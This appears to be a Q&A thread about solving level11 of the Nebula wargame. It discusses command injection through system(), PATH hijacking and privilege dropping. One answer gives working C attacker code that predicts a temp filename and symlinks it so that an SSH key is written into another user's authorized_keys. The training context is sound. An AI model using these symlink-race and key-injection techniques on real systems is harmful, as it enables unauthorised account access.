3

I am trying to solve the level11 of Nebula 5 on the exploit-exercises.com platform.

I do believe I got the basic idea of the challenge, in fact you can find quite numerous write-ups of this level on Internet:

The problem is when trying to run the getflag, it seems that the setuid bit is lost during the execution. I know that /tmp/ is mounted with the option nosuid and, therefore, you cannot put a suid program on it. But, it was not my case when I tried it.

I wonder if someone can tell me what really happen here and if it is an unintended bug in this challenge and how to work-around it (possibly through root).

I seems to me that I did not yet clearly understood the mechanism of the setuid bit as it seems to be extremely fragile when calling system().

Also, some write-ups mention the fact that bash disable the setuid bit which seems to me quite dubious (I tried to run setuid programs and got it to run). I somebody can give some insight about it, I would also be pleased.

EDIT

As suggested by Gilles, I am adding a few more details on the problem here.

So, basically, the easiest way to exploit this level is to use the fact that if you set Content-Length to 1 (write Content-Length: 1 on stdin) and, then, type a letter (which get translated in another one by a deterministic process). The string you get will not be null (\0) terminated and the content of the string will be appended to the current content of the memory. Then, the whole string will go through the system() function.

The fact is that you are quite likely to find \0 characters in memory and, thus, be able to call the letter you got as a command.

Then, you just have to set up a symbolic link from D to getflag (the software used to get the flag of a level) and add the location of D to your PATH variable. It should give something like that:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found

Then, adding the symbolic link to getflag:

level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count

So, the problem is that the /home/flag11/flag11 software is setuid with the following rights:

-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*

Note that, the 'attacker user' is level11 and the 'target user' is flag11.

Nevertheless, it seems that the setuid bit is not honored by the program and you turn back to level11 when you run the getflag program (but you are flag11 during the execution of /home/flag11/flag11.

So, my question is "Why?".

And, I should also add the fact that the other levels seems to work properly. Meaning that this is not the first setuid exploitation on this system, and all others seems to work fine.

4

How I solved Nebula Level 11

The needed files are located under /home/flag11 let's take a look

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

This little .ssh folder raises some kind of alarm signal in my brain. Maybe we need this later on. As you can see some of the files had been recently accessed. This was due to my attack.

The attached C code of the exercise is the following:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

After analyzing this code Return a random, non predictable file, and return the file descriptor for it.. When someone states non predictable I try to predict. This needs to be deferred a bit because the rest of the code needs inspections. Just some remarks, on old Linux systems pid of an process is pretty predictable. Of course srandom() seeded with time is predictable too.

Okay, there is some XOR encryption scheme used to decipher the buffer in process and this deciphered buffer is handed to system. Okay we need to inject some attacking calls here. From the inspection of the files we knew this is yet another setuid bit challenge, okay this is getting lame I thought. Frankly I was a bit too optimistic.

In the main function the processing buffer is filled from stdinand checked against some hard coded prefix nothing magic here.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}

The err functions will exit the executable when they are hit. To bypass the following check if(fread(buf, length, 1, stdin) != length) {, the length passed to this executable needs to be one. In this case the injected code is very limited. Tests with overflowing atoi and negative numbers always failed. Because fread returns the number of items read and not the number of bytes, in this case it always returns one. Form the other exercises we knew we can pretend the PATH variable with a path we have under control. So just we just need to inject a single character into the magic process() function. The reverse of the XOR is pretty straight forward. You may need some tries to execute your command, this is because the whole buffer is passed to system. The buffer is located on the stack of main and because of this it is filled with garbage. But the chances that we hit a zero in the second character is not too bad. I already felt my success but then I got this:

getflag is executing on a non-flag account, this doesn't count  

This time it was not me cheating, but the authors of Nebula the provided source code did not mention that they removed the setuid bit before the call to system. This was exposed by the strace command.

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Okay, this looks like a dead end. Back to the drawing board, the SSH idea popped up again. But how can we use the .ssh folder. This is pretty easy we have to inject a authorized_keys file there. But how can this be achieved without setuid?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}

So far I completely ignored the else case of the buffer length check. This is where the super top secret temp file name comes into the game. To get control over the file we have to define the environment variable from the shell we run the attack later on:

export TEMP=/tmp

Now it is just a matter of guessing the PID of our victim. This is easy, when we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own. Otherwise popen() could be used and injecting pid from ps | grep flag11. The time part is super easy because it is the time in seconds. To get a stable successrate we also use the filename for the next second. The whole attacker code lookks like this:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

The ssh key needs to be generated first. It took me some tries to fullfill those strange checks with the colors. Maybe one needs to check the format of the time() function to not run into overflow issues. At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function. Anyway with the ssh key injected you can log into flag11 account and get your flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag    
You have successfully executed getflag on a target account
flag11@nebula:~$
  • I confirm it worked for me! I had a bit hard time to get it working because I did not quite understand the trick at first. But, once you get the point of the attack, it is quite clear. Also, the pid parameter for getrand() is not really useful as it can always be replaced by getpid() + 1. – perror Jan 19 '17 at 12:41
2

Bash is not involved here. The system function runs sh, and on Ubuntu, sh is not bash, it's dash. Unlike bash, dash does not drop privileges. If the source code shown on that page is compiled and installed with the setuid bit, it'll run as the owning user, and the command it runs through system also runs as the owning user.

I haven't looked how the exercise is set up. It's possible that you need to read a file. Given that the program calls system without setting PATH, you can put a file with a short name in PATH to avoid having to make complex calculations on the string that eventually gets passed to system. Make that file a shell script that does whatever you need to get the flag, e.g. read a file or call the getflag program.

  • Thanks for mentioning all that, but I already checked it. The most funny thing about this level is that it seems that none of the write-ups I read about it did actually succeed to get through (the only one pretending to have finished it provide an answer that does not work in practice). And, more surprisingly, none of the write-ups can explain why this is not working. So, I am just a bit curious about that. – perror Sep 20 '16 at 7:34
  • @perror From the error message, it appears that this system has bash as /bin/sh, which is a change from the Ubuntu default. If the shell invoked by system drops privileges, then exploiting this program is a lot harder (you'd need to do some stack smashing). Try setting POSIXLY_CORRECT=1 in the environment, I don't remember whether that makes bash retain privileges. – Gilles Sep 20 '16 at 9:33
  • Yes, you are right, I did not noticed that /bin/sh is in fact link to /bin/bash. I tried your idea by setting it as follow: echo -ne "Content-Length: 1\nE" | POSIXLY_CORRECT=1 /home/flag11/flag11, but it did not work (I still get the usual message from getflag). Moreover, I tried to run a script through a /bin/dash shell, but still nothing... :-/ – perror Sep 20 '16 at 11:29
  • @perror system calls sh, which in your case is bash. Having bash call dash won't help: bash has already dropped privileges. – Gilles Sep 20 '16 at 11:50
  • I tried to remap the link from /bin/sh to /bin/dash with no success... – perror Sep 20 '16 at 15:01
0

It seems that the binary doesn't match the code on the page.

$ gdb /home/flag11/flag11
$ (gdb) disass process
  0x080489c7 <+0>:  push   %ebp
  0x080489c8 <+1>:  mov    %esp,%ebp
  0x080489ca <+3>:  sub    $0x28,%esp
  0x080489cd <+6>:  mov    0xc(%ebp),%eax
  0x080489d0 <+9>:  and    $0xff,%eax
  0x080489d5 <+14>: mov    %eax,-0x10(%ebp)
  0x080489d8 <+17>: movl   $0x0,-0xc(%ebp)
  0x080489df <+24>: jmp    0x8048a0c <process+69>
  0x080489e1 <+26>: mov    -0xc(%ebp),%eax
  0x080489e4 <+29>: add    0x8(%ebp),%eax
  0x080489e7 <+32>: mov    -0xc(%ebp),%edx
  0x080489ea <+35>: add    0x8(%ebp),%edx
  0x080489ed <+38>: movzbl (%edx),%edx
  0x080489f0 <+41>: mov    %edx,%ecx
  0x080489f2 <+43>: mov    -0x10(%ebp),%edx
  0x080489f5 <+46>: xor    %ecx,%edx
  0x080489f7 <+48>: mov    %dl,(%eax)
  0x080489f9 <+50>: mov    -0xc(%ebp),%eax
  0x080489fc <+53>: add    0x8(%ebp),%eax
  0x080489ff <+56>: movzbl (%eax),%eax
  0x08048a02 <+59>: movsbl %al,%eax
  0x08048a05 <+62>: sub    %eax,-0x10(%ebp)
  0x08048a08 <+65>: addl   $0x1,-0xc(%ebp)
  0x08048a0c <+69>: mov    -0xc(%ebp),%eax
  0x08048a0f <+72>: cmp    0xc(%ebp),%eax
  0x08048a12 <+75>: jl     0x80489e1 <process+26>
  0x08048a14 <+77>: call   0x8048700 <getgid@plt>
  0x08048a19 <+82>: mov    %eax,(%esp)
  0x08048a1c <+85>: call   0x8048690 <setgid@plt>    // <---
  0x08048a21 <+90>: call   0x8048630 <getuid@plt>
  0x08048a26 <+95>: mov    %eax,(%esp)
  0x08048a29 <+98>: call   0x8048730 <setuid@plt>    // <---
  0x08048a2e <+103>:    mov    0x8(%ebp),%eax
  0x08048a31 <+106>:    mov    %eax,(%esp)
  0x08048a34 <+109>:    call   0x80486a0 <system@plt>
  0x08048a39 <+114>:    leave  
  0x08048a3a <+115>:    ret    

It seems that the version that I got drops privileges before calling system.

EDIT: adding more detail as requested.

If you look at the C code here https://exploit-exercises.com/nebula/level11/

Then the process function looks like this:

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

There's only one function call here -- system(buffer).

If you look at /home/flag11/flag11 with gdb (the code fragment above), you can count 5 calls: getgid,setgid,getuid,setuid,system. The compiled version doesn't match the source code on the webpage. Those additional calls drop privileges before calling system. It might not be possible to solve this challenge.

You can login as user 'nebula' (password 'nebula'), download the code from https://exploit-exercises.com/nebula/level11/, build it, and replace /home/flag11/flag11. Then you can solve this level.

  • Could you provide more detailed information please? – Aria Dec 2 '16 at 8:43

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.